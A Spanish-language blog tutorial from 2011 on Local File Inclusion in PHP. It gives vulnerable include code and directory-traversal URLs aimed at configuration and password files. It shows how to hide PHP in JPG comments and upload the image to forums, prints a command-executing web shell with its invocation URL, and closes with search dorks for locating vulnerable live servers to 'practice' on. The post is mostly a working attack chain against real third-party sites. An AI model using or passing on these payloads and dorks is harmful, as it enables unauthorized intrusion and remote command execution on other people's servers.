domingo, 6 de noviembre de 2011

Local File Inclusion

Que es el lfi?

Es una falla en la programación de una aplicación; falla mediante la cual se pueden incluir archivos que se encuentren en el servidor como por ejemplo el /etc/passwd o algún otro archivo de configuración que nos provea de información para atacar el sitio.

Esta falla se produce en codigos similares a estos:

(pagina_lfi.php)
<?php
$pagina = $_GET['pagina'];
include($pagina);
?>

Aqui podemos ver que el código siguiente recepcionara mediante el método get (es decir se podrá ver mediante la url la variable a inyectar) también es posible que existan lfi mediante el método post pero eso es un poco mas complicado de encontrar; lo que hace este codigo es incluir una pagina dentro de otra.

Entonces veríamos la url mas menos así:
htp://server.cl/pagina_lfi.php?pagina=[archivolocalaincluir]
Ejemplo practico:
htp://server.cl/pagina_lfi.php?pagina=../conf/httpd.conf
Donde:

http://server.cl/ -----> servidor

pagina_lfi.php? -----> pagina vulnerable al lfi

pagina= -----> variable mediante la cual se incluyen los archivos que queremos visualizar.

../conf/httpd.conf -----> Archivo de configuración de apache o lo que se te ocurra.
(Recordar que ../ nos permite subir un directorio.)

Una vez que ya entendemos como funciona esto podemos llevar el ataque un poco mas alla y ahi es donde entra en juego la imaginación de cada uno.

Aqui compartire un ataque bastante potente como es la inclusión de archivos jpg totalmente funcionales con codigo php inserto en ellos.(Cabe mencionar que aprendí esta técnica de nuestro brotha c0debreak, que ha estado medio desaparecido, bueno donde estes, saludos.)

Para los que recién se enteran es posible incluir comentarios en una archivo jpg y ademas si son en php y se pasan por variables vulnerables a lfi se ejecuta ese código :-)

Vamos por partes
Como inserto codigo en un archivo jpg??
Bueno depende. Si usas Wind0ws puedes descargar el edjpgcom.exe el cual se usa de la siguiente manera:
c:\edjpgcom.exe foto.jpg
luego de dar enter se abre una ventana donde se puede insertar el código php y luego guardar la foto, también da la opción de borrar el backup.

Otra forma expuesta en el foro de elhacker.net por whk es crear un archivo de texto con el codigo php y luego de guardar el archivo ejecutar desde la consola.
c:\type archivo_con_codigo_php.txt >> foto.jpg
y asi se agrega como comentario.

Si usas linux puedes usar el siguiente programa: wrjpgcom
$ wrjpgcom -c “codigo a insertarse” foto.jpg >> foto.jpg

Bueno una vez que tenemos la foto con codigo inyectado debemos subirla a un servidor vulnerable al lfi ya sea un foro (como avatar) o algun otro sitio que te permita subir un archivo jpg y sea vulnerable.

Pero como se hace???

Bueno ubico algun foro vulnerable y subo mi foto inyectada la cual al dar click con el boton derecho veo la ruta donde se guarda en el servidor luego voy a la variable vulnerable y le paso la ruta de la imagen que tiene el codigo php y la ejecuta.

Que codigo php inyecto??

para testear si funka el ataque puede usarse.
<?php phpinfo(); ?>
para ver la configuración, version etc acerca de php.

tambien tenemos este otro:

<?php
ob_clean();         //Esta función descarta los contenidos del búfer de salida. 
system("dir");      //ejectuta el comando dir
die;                //equivalente a exit();
?>
Tambien se puede pasar parámetros y que el codigo en la foto reciba estos parámetros y los ejecute:

//Coded by whk corregido por yeikos en el foro elhacker.net
<? system($_GET['cmd']); die; ?>

y lo ejecutas mas menos asi:
htp://server.cl/foto.jpg?cmd=dir

y nos dara un listado de los archivos del server.

Bueno como dicen por ahi una vulnerabilidad es tan potente como tu quieras que sea...

Espero que este mini tuto les haya servido pues lo unico que buscaba era acercar los conocimientos a aquel que recien empieza.

Dejo unos dorks para que se busquen algún server vulnerable para practicar:
index.php?file_path
showcatpicks.php?file_path=
howarticle.php?file_path=
authors.php?admin_header_file=
authors.php?admin_footer_file=
articles.php?admin_footer_file=
index.php?admin_header_file=
categories.php?admin_header_file=
categories.php?admin_footer_file=
editconfig.php?admin_header_file=
editconfig.phpadmin_footer_file=
index.php?file=contacto.html
index.php?file=contacto.php
index.php?file_path=descargas.php
contacto.php?file=iframe.html
.php?file=
.php?path=
.php?file_path=
.php?redirect=
.php?include=
index.php?&image=

Ademas de un video tuto que esta filete, espero que les guste.

http://www.milw0rm.com/author/972#
 
Fuente undersecurity.net

No hay comentarios:

Publicar un comentario en la entrada